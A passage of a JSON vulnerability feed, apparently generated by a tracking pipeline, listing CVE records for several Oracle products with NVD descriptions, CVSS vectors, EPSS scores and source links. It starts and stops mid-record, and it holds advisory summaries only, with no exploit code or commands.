score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91211&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91211, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87421","cveId":"CVE-2026-87421","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).","summary":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Solaris accessible data as well as  unauthorized update, insert or delete access to some of Oracle Solaris accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N).","detail":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Solaris accessible data as well as  unauthorized update, insert or delete access to some of Oracle Solaris accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:20.613Z","updatedAt":"2026-10-21T18:45:11.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87421","asOf":"2026-10-21T18:45:11.277Z"},"epss":{"probability":0.00284,"percentile":0.20735,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87421&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87421","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87421","type":"primary","publishedAt":"2026-10-20T22:20:20.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87421&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87421, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87420","cveId":"CVE-2026-87420","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).","summary":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).   The supported version that is affected is 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).   The supported version that is affected is 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:20.497Z","updatedAt":"2026-10-21T18:45:11.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87420","asOf":"2026-10-21T18:45:11.277Z"},"epss":{"probability":0.00389,"percentile":0.32723,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87420&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87420","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87420","type":"primary","publishedAt":"2026-10-20T22:20:20.497Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87420&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87420, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87419","cveId":"CVE-2026-87419","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).","summary":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:20.380Z","updatedAt":"2026-10-21T18:45:11.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87419","asOf":"2026-10-21T18:45:11.277Z"},"epss":{"probability":0.00389,"percentile":0.32723,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87419&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87419","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87419","type":"primary","publishedAt":"2026-10-20T22:20:20.380Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87419&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87419, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87417","cveId":"CVE-2026-87417","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).","summary":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Solaris accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Solaris accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:20.150Z","updatedAt":"2026-10-21T18:45:11.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87417","asOf":"2026-10-21T18:45:11.277Z"},"epss":{"probability":0.00398,"percentile":0.33728,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87417&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87417","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87417","type":"primary","publishedAt":"2026-10-20T22:20:20.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87417&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87417, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87408","cveId":"CVE-2026-87408","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Personalization).","summary":"Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Personalization).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Framework.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Applications Framework, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Applications Framework accessible data as well as  unauthorized access to critical data or complete access to all Oracle Applications Framework accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Personalization).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Framework.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Applications Framework, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Applications Framework accessible data as well as  unauthorized access to critical data or complete access to all Oracle Applications Framework accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:19.137Z","updatedAt":"2026-10-21T18:45:11.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87408","asOf":"2026-10-21T18:45:11.277Z"},"epss":{"probability":0.00166,"percentile":0.05741,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87408&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87408","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87408","type":"primary","publishedAt":"2026-10-20T22:20:19.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87408&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87408, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87404","cveId":"CVE-2026-87404","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Pasta product of Oracle E-Business Suite (component: Printing Engine).","summary":"Vulnerability in the Pasta product of Oracle E-Business Suite (component: Printing Engine).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Pasta.  Successful attacks of this vulnerability can result in takeover of Pasta. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Pasta product of Oracle E-Business Suite (component: Printing Engine).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Pasta.  Successful attacks of this vulnerability can result in takeover of Pasta. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:18.920Z","updatedAt":"2026-10-21T18:45:11.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87404","asOf":"2026-10-21T18:45:11.277Z"},"epss":{"probability":0.00301,"percentile":0.22574,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87404&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87404","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87404","type":"primary","publishedAt":"2026-10-20T22:20:18.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87404&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87404, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87403","cveId":"CVE-2026-87403","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).","summary":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Applications DBA accessible data as well as  unauthorized access to critical data or complete access to all Applications DBA accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Applications DBA accessible data as well as  unauthorized access to critical data or complete access to all Applications DBA accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:18.803Z","updatedAt":"2026-10-21T18:45:11.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87403","asOf":"2026-10-21T18:45:11.277Z"},"epss":{"probability":0.00133,"percentile":0.02839,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87403&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87403","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87403","type":"primary","publishedAt":"2026-10-20T22:20:18.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87403&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87403, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87402","cveId":"CVE-2026-87402","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).","summary":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:18.680Z","updatedAt":"2026-10-21T18:45:11.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87402","asOf":"2026-10-21T18:45:11.277Z"},"epss":{"probability":0.00131,"percentile":0.02647,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87402&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87402","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87402","type":"primary","publishedAt":"2026-10-20T22:20:18.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87402&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87402, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87398","cveId":"CVE-2026-87398","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:18.223Z","updatedAt":"2026-10-22T19:18:03.260Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87398","asOf":"2026-10-22T19:18:03.260Z"},"epss":{"probability":0.0049,"percentile":0.41865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87398&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87398","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87398","type":"primary","publishedAt":"2026-10-20T22:20:18.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87398&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87398, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87397","cveId":"CVE-2026-87397","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In 